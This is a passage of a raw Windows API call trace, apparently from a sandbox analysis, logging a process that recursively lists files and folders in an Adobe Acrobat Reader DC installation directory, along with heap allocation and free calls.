out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1 [0245.132] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1 [0245.133] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1 [0245.134] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1 [0245.139] GetProcessHeap () returned 0xc10000 [0245.139] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0245.139] GetProcessHeap () returned 0xc10000 [0245.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0245.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0245.141] GetProcessHeap () returned 0xc10000 [0245.141] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0245.141] GetProcessHeap () returned 0xc10000 [0245.141] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0245.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0245.142] GetProcessHeap () returned 0xc10000 [0245.142] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0245.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0245.147] GetProcessHeap () returned 0xc10000 [0245.147] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39728a8 [0245.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0245.148] GetProcessHeap () returned 0xc10000 [0245.148] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0245.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0245.154] GetProcessHeap () returned 0xc10000 [0245.154] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0245.156] GetProcessHeap () returned 0xc10000 [0245.156] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.156] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.157] GetProcessHeap () returned 0xc10000 [0245.157] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0245.158] GetProcessHeap () returned 0xc10000 [0245.158] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.158] GetProcessHeap () returned 0xc10000 [0245.158] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0245.159] GetProcessHeap () returned 0xc10000 [0245.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.159] GetProcessHeap () returned 0xc10000 [0245.159] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.441] GetProcessHeap () returned 0xc10000 [0245.442] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.443] GetProcessHeap () returned 0xc10000 [0245.443] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.450] GetProcessHeap () returned 0xc10000 [0245.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0245.451] GetProcessHeap () returned 0xc10000 [0245.451] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0245.451] GetProcessHeap () returned 0xc10000 [0245.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.452] GetProcessHeap () returned 0xc10000 [0245.452] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0245.452] GetProcessHeap () returned 0xc10000 [0245.452] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.452] GetProcessHeap () returned 0xc10000 [0245.452] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.453] GetProcessHeap () returned 0xc10000 [0245.453] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.453] GetProcessHeap () returned 0xc10000 [0245.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.454] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.456] GetProcessHeap () returned 0xc10000 [0245.456] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.456] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0245.457] GetProcessHeap () returned 0xc10000 [0245.457] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0245.458] GetProcessHeap () returned 0xc10000 [0245.458] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.458] GetProcessHeap () returned 0xc10000 [0245.458] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0245.462] GetProcessHeap () returned 0xc10000 [0245.462] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.462] GetProcessHeap () returned 0xc10000 [0245.462] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.462] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0245.462] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0245.462] GetProcessHeap () returned 0xc10000 [0245.462] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1 [0245.463] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1 [0245.464] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: 